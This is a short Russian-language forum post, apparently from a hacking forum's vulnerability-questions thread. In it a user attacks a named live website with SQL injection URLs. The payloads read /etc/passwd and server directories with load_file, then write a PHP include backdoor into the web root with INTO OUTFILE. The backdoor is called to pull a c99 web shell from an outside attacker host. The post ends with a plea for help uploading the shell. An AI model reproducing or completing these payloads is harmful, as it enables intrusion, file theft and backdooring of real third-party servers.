ANTICHAT - Показать сообщение отдельно - Ваши вопросы по уязвимостям.

вот есть саyт..

версия 4.1.18..есть mysql.user и file_priv Y..

хочу заливать шелл..

читаю /etc/passwd
http://www.georgica.net/analitic/?page=ru&id=-303'+union+select+1,2,load_file('/etc/passwd'),4,5,6,7,8+from+mysql.user+--+

а потом '/'
http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+1,2,load_file(%27/%27),4,5,6,7,8+from+mysql.user+--+

а здесь видно папка

http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+1,2,load_file(%27/home/www/htdocs/%27),4,5,6,7,8+from+mysql.user+--+

и потом здеlaю так..

http://www.georgica.net/analitic/?page=ru&id=-303%27+union+select+%3C?include($_GET[%22cmd%22]);?%3E,1,2,3,4,5,6,7+from+mysql.user/**/into/**/outfile/**/%27/home/www/htdocs/rfi.php%27/*

http://www.georgica.net/rfi.php?cmd=http://azattacker.org/forum/c99.txt?

и не получается

обшем поjaлуста помоqите заливат шелл